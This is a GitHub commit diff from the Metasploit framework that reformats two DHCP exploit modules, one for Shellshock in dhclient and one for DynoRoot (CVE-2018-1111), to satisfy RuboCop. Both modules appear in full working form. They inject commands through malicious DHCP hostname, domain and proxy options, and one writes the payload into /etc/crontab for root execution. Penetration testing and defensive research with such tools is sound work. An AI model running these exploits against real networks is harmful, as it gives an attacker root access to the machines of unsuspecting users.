Skip to content

Commit 49c041f

Browse files
cgranleese-r7cgranleese-r7
authored
Land rapid7#20137, modules/exploits/unix/dhcp: Resolve RuboCop violations
2 parents 8634876 + 37c52bb commit 49c041f

File tree

2 files changed

+70
-77
lines changed

2 files changed

+70
-77
lines changed

‎modules/exploits/unix/dhcp/bash_environment.rb‎

Lines changed: 38 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -3,34 +3,33 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
76
class MetasploitModule < Msf::Exploit::Remote
87
Rank = ExcellentRanking
98

109
include Msf::Exploit::Remote::DHCPServer
1110

1211
def initialize(info = {})
13-
super(update_info(info,
14-
'Name' => 'Dhclient Bash Environment Variable Injection (Shellshock)',
15-
'Description' => %q|
16-
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
17-
handles external environment variables. This module targets dhclient by responding
18-
to DHCP requests with a malicious hostname, domainname, and URL which are then
19-
passed to the configuration scripts as environment variables, resulting in code
20-
execution. Due to length restrictions and the unusual networking scenario at the
21-
time of exploitation, this module achieves code execution by writing the payload
22-
into /etc/crontab and then cleaning it up after a session is created.
23-
|,
24-
'Author' =>
25-
[
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Dhclient Bash Environment Variable Injection (Shellshock)',
16+
'Description' => %q{
17+
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
18+
handles external environment variables. This module targets dhclient by responding
19+
to DHCP requests with a malicious hostname, domainname, and URL which are then
20+
passed to the configuration scripts as environment variables, resulting in code
21+
execution. Due to length restrictions and the unusual networking scenario at the
22+
time of exploitation, this module achieves code execution by writing the payload
23+
into /etc/crontab and then cleaning it up after a session is created.
24+
},
25+
'Author' => [
2626
'Stephane Chazelas', # Vulnerability discovery
2727
'egypt' # Metasploit module
2828
],
29-
'License' => MSF_LICENSE,
30-
'Platform' => ['unix'],
31-
'Arch' => ARCH_CMD,
32-
'References' =>
33-
[
29+
'License' => MSF_LICENSE,
30+
'Platform' => ['unix'],
31+
'Arch' => ARCH_CMD,
32+
'References' => [
3433
[ 'CVE', '2014-6271' ],
3534
[ 'CWE', '94' ],
3635
[ 'OSVDB', '112004' ],
@@ -39,36 +38,34 @@ def initialize(info = {})
3938
[ 'URL', 'https://seclists.org/oss-sec/2014/q3/649' ],
4039
[ 'URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/' ]
4140
],
42-
'Payload' =>
43-
{
41+
'Payload' => {
4442
# 255 for a domain name, minus some room for encoding
45-
'Space' => 200,
43+
'Space' => 200,
4644
'DisableNops' => true,
47-
'Compat' =>
48-
{
49-
'PayloadType' => 'cmd',
50-
'RequiredCmd' => 'generic telnet ruby',
51-
}
52-
},
53-
'Targets' => [ [ 'Automatic Target', { }] ],
54-
'DefaultTarget' => 0,
55-
'DisclosureDate' => '2014-09-24',
56-
'Notes' =>
57-
{
58-
'Stability' => [CRASH_SAFE],
59-
'SideEffects' => [],
60-
'Reliability' => [],
61-
'AKA' => ['Shellshock']
45+
'Compat' => {
46+
'PayloadType' => 'cmd',
47+
'RequiredCmd' => 'generic telnet ruby'
6248
}
63-
))
49+
},
50+
'Targets' => [ [ 'Automatic Target', {}] ],
51+
'DefaultTarget' => 0,
52+
'DisclosureDate' => '2014-09-24',
53+
'Notes' => {
54+
'Stability' => [CRASH_SAFE],
55+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
56+
'Reliability' => [REPEATABLE_SESSION],
57+
'AKA' => ['Shellshock']
58+
}
59+
)
60+
)
6461

6562
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
6663

6764
self.needs_cleanup = true
6865
end
6966

7067
def on_new_session(session)
71-
print_status "Cleaning up crontab"
68+
print_status 'Cleaning up crontab'
7269
# XXX this will brick a server some day
7370
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
7471
end
@@ -78,7 +75,7 @@ def exploit
7875
# Quotes seem to be completely stripped, so other characters have to be
7976
# escaped
8077
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
81-
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
78+
echo = "echo -e #{(Rex::Text.to_hex('*') + ' ') * 5}root #{p}>>/etc/crontab"
8279
hash['DOMAINNAME'] = "() { :; };#{echo}"
8380
if hash['DOMAINNAME'].length > 255
8481
raise ArgumentError, 'payload too long'
@@ -88,8 +85,6 @@ def exploit
8885
hash['URL'] = "() { :; };#{echo}"
8986
start_service(hash)
9087

91-
while @dhcp.thread.alive?
92-
sleep 2
93-
end
88+
sleep 2 while @dhcp.thread.alive?
9489
end
9590
end

‎modules/exploits/unix/dhcp/rhel_dhcp_client_command_injection.rb‎

Lines changed: 32 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -9,29 +9,29 @@ class MetasploitModule < Msf::Exploit::Remote
99
include Msf::Exploit::Remote::DHCPServer
1010

1111
def initialize(info = {})
12-
super(update_info(info,
13-
'Name' => 'DHCP Client Command Injection (DynoRoot)',
14-
'Description' => %q{
15-
This module exploits the DynoRoot vulnerability, a flaw in how the
16-
NetworkManager integration script included in the DHCP client in
17-
Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier
18-
processes DHCP options. A malicious DHCP server, or an attacker on
19-
the local network able to spoof DHCP responses, could use this flaw
20-
to execute arbitrary commands with root privileges on systems using
21-
NetworkManager and configured to obtain network configuration using
22-
the DHCP protocol.
23-
},
24-
'Author' =>
25-
[
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'DHCP Client Command Injection (DynoRoot)',
16+
'Description' => %q{
17+
This module exploits the DynoRoot vulnerability, a flaw in how the
18+
NetworkManager integration script included in the DHCP client in
19+
Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier
20+
processes DHCP options. A malicious DHCP server, or an attacker on
21+
the local network able to spoof DHCP responses, could use this flaw
22+
to execute arbitrary commands with root privileges on systems using
23+
NetworkManager and configured to obtain network configuration using
24+
the DHCP protocol.
25+
},
26+
'Author' => [
2627
'Felix Wilhelm', # Vulnerability discovery
2728
'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>' # Metasploit module
2829
],
29-
'License' => MSF_LICENSE,
30-
'Platform' => ['unix'],
31-
'Arch' => ARCH_CMD,
32-
'Privileged' => true,
33-
'References' =>
34-
[
30+
'License' => MSF_LICENSE,
31+
'Platform' => ['unix'],
32+
'Arch' => ARCH_CMD,
33+
'Privileged' => true,
34+
'References' => [
3535
['CVE', '2018-1111'],
3636
['EDB', '44652'],
3737
['URL', 'https://github.com/kkirsche/CVE-2018-1111'],
@@ -41,17 +41,17 @@ def initialize(info = {})
4141
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'],
4242
['URL', 'https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble'],
4343
],
44-
'Targets' => [ [ 'Automatic Target', { }] ],
45-
'DefaultTarget' => 0,
46-
'DisclosureDate' => '2018-05-15',
47-
'Notes' =>
48-
{
49-
'Stability' => [CRASH_SAFE],
50-
'SideEffects' => [],
51-
'Reliability' => [],
52-
'AKA' => ['DynoRoot']
53-
}
54-
))
44+
'Targets' => [ [ 'Automatic Target', {}] ],
45+
'DefaultTarget' => 0,
46+
'DisclosureDate' => '2018-05-15',
47+
'Notes' => {
48+
'Stability' => [CRASH_SAFE],
49+
'SideEffects' => [IOC_IN_LOGS],
50+
'Reliability' => [REPEATABLE_SESSION],
51+
'AKA' => ['DynoRoot']
52+
}
53+
)
54+
)
5555

5656
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL', 'FILENAME')
5757
end
@@ -61,9 +61,7 @@ def exploit
6161
start_service(hash)
6262
@dhcp.set_option(proxy_auto_discovery: "#{Rex::Text.rand_text_alpha(6..12)}'&#{payload.encoded} #")
6363

64-
while @dhcp.thread.alive?
65-
sleep 2
66-
end
64+
sleep 2 while @dhcp.thread.alive?
6765
end
6866

6967
def cleanup

0 commit comments

Comments
 (0)